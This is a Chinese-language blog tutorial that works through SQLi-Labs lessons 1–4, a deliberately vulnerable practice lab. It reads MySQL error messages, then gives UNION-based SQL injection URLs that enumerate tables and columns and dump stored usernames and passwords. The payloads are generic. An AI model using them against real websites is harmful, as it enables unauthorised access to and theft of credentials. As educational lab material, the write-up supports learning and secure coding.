Sqli-labs 1-4

  1. Sqli-labs 1-4
    1. 简介
    2. less1
    3. less2
    4. less 3 GET -基于错误的GET单引号变形字符型注入
    5. less-4:GET-基于错误-双引号-字符型

Sqli-labs 1-4

[TOC]

简介

结构化查询语言,也叫做SQL,从根本上说是一种处理数据库的编程语言。对于初学者,数据库仅仅是在客户端和服务端进行数据存储。SQL通过结构化查询,关系,面向对象编程等等来管理数据库。编程极客们总是搞出许多这样类型的软件,像MySQL,MS SQL ,Oracle以及Postgresql。现在有一些程序能通过结构化查询来管理大型数据库。脚本小子们一定已经动手体验了类似SQL注入等这样的操作,虽然他们可能已经通过使用自动化工具例如SQL Map或者SQLNinja来实施攻击,但却还不知它真正的原理。在这篇简短的教程里,我将会尽力让你对SQL 注入是怎样工作的,攻击是怎样发生的以及什么是应用程序SQL漏洞有一个深入的理解。我们将要使用的实验室是SQLi Labs,它是一个可以从https://github.com/Audi-1/sqli-labs免费下载,以便我们研究学习以及编写安全的程序。所以这篇教程对于程序员和安全测试者都将是一次动手实践的机会。

##安装
https://github.com/Audi-1/sqli-labs下载源代码,将源代码复制到Apache webroot 文件夹(htddocs,/var/www) 打开sql-connections文件夹下的“db-creds.inc”文件修改mysql用户名和密码为你自己的打开浏览器,通过localhost的index.html访问文件夹 点击setup/resetDB 链接在你的mysql中创造数据库
开始游戏!

less1

1.试探
http://43.247.91.228:84/Less-1/?id=1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1\’ LIMIT 0,1’ at line 1

对出错信息分析:
near ‘’1\’ LIMIT 0,1’ at line 1

最外层的单引号是标识错误的,将其隔离

near '         '   1\   ' LIMIT 0,1              ' at line 1

1\是我们的参数输入的值,那么1\外的两个单引号是哪里来的呢。很有可能就是原来SQL查询语句中自带的单引号,所以我们对SQL语句进行猜想。
对之前猜测的语句进行修改,添加加上后面爆出错误的 ‘1\’中的单引号:

select uername,password from talble where id = 'input'
----->
select uername,password from talble where id = 'input 攻击代码'

2.确定字段个数
http://43.247.91.228:84/Less-1/?id=1‘ order by 3–+
http://43.247.91.228:84/Less-1/?id=1‘ order by 4–+

3.判断回显位(2,3处为显示位)
http://43.247.91.228:84/Less-1/?id=-1‘ UNION SELECT 1,2,3–+

使用union语句查询时,必须使前面的语句查询出错(例如id=-1,而id中并没有为-1的),以为当查询出错时,sql语句结果为空,也就会显示我们构造的sql语句所查询的内容,即union之后语句的执行结果。

4.爆数据库名字、连接账号信息
http://43.247.91.228:84/Less-1/?id=-1‘ UNION SELECT 1,version(),database()–+

5.爆表名(数据库security下的所有表名)
http://43.247.91.228:84/Less-1/?id=-1‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’–+

6.暴列名(表users下的所有列名)
http://43.247.91.228:84/Less-1/?id=-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’–+


7.爆出字段值(security.users下所有的账号密码)
http://43.247.91.228:84/Less-1/?id=-1‘ union select 1,2,group_concat(username,’:’,password) from security.users–+

less2

1.试探
http://43.247.91.228:84/Less-2/?id=1

在 id = 1后面添加’: 报语法错误

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

错误分析:

near '' LIMIT 0,1' at line 1

先分离最外层单引号:

near '     ' LIMIT 0,1     ' at line 1

中间的单引号是手动输入的,说明出错在这里,也就证实了sql语句:

select username,password from table where id = input

2.确定字段个数
http://43.247.91.228:84/Less-2/?id=1 order by 4–+

3.判断回显位(2,3处为显示位)
http://43.247.91.228:84/Less-2/?id=-1 UNION SELECT 1,2,3–+

4.爆数据库名字、连接账号信息
http://43.247.91.228:84/Less-2/?id=-1 UNION SELECT 1,version(),database()–+

5.爆表名(数据库security下的所有表名)
http://43.247.91.228:84/Less-2/?id=-1 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+


6.爆列名(表users下的所有列名)
http://43.247.91.228:84/Less-2/?id=-1 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’–+

7.爆出字段值(security.users下所有的账号密码)
http://43.247.91.228:84/Less-2/?id=-1 UNION SELECT 1,2,group_concat(username,’:’,password) from security.users

less 3 GET -基于错误的GET单引号变形字符型注入

1.试探
http://43.247.91.228:84/Less-3/?id=1\

MySQL server version for the right syntax to use near ''1\') LIMIT 0,1' at line 1

错误分析:

near ''1\') LIMIT 0,1' at line 1

现将外层单引号去掉

near '              '  1\  ') LIMIT 0,1           ' at line 1

1\ 是手动输入的内容,说明sql语句中还有 (‘’)的内容 ( 注:本来是只有’’)的,但是括号应该也是成对出现的,就变成了(‘’) )

所以修改sql语句:

select username,password from table where id = (‘input’)

所以再用这样的代码来进行注入:

?id=1′) –-+

1’) and (‘1’=’1
放入sql语句中:

select username,password from table where id = (‘ 1’) and (‘1’=’1 ‘)

2.确定字段个数

3.判断回显位(2,3处为显示位)

4.爆数据库名字、连接账号信息

5.爆表名(数据库security下的所有表名)
http://43.247.91.228:84/Less-3/?id=-1‘) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=”security”–+

6.爆列名(表users下的所有列名)
http://43.247.91.228:84/Less-3/?id=-1‘) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=”users”–+

7.爆出字段值(security.users下所有的账号密码)
http://43.247.91.228:84/Less-3/?id=-1‘) union select 1,2,group_concat(username,’:’,password) from security.users–+

less-4:GET-基于错误-双引号-字符型

1.试探
http://43.247.91.228:84/Less-4/?id=1\

MySQL server version for the right syntax to use near ‘“1\”) LIMIT 0,1’ at line 1
错误分析:

near '"3\") LIMIT 0,1' at line 1

先分离最外层的单引号,那是用来标识错误信息的

near '           "  3\  ") LIMIT 0,1             ' at line 1

其中 3\ 是手动输入的,还剩下””)

说明sql语句中应该有 (“”) ( 括号也配对)

再次猜测sql语句:

select * username,password from table where id = ("input")

2.判断回显位(2,3处为显示位)
http://43.247.91.228:84/Less-4/?id=-1“) UNION SELECT 1,2,3 –+


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:Sqli-labs 1-4

文章字数:1,655

本文作者:Mang0

发布时间:2018-04-02, 16:13:07

最后更新:2018-11-02, 21:52:15

原始链接:http://mang0.me/archis/239c6225/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏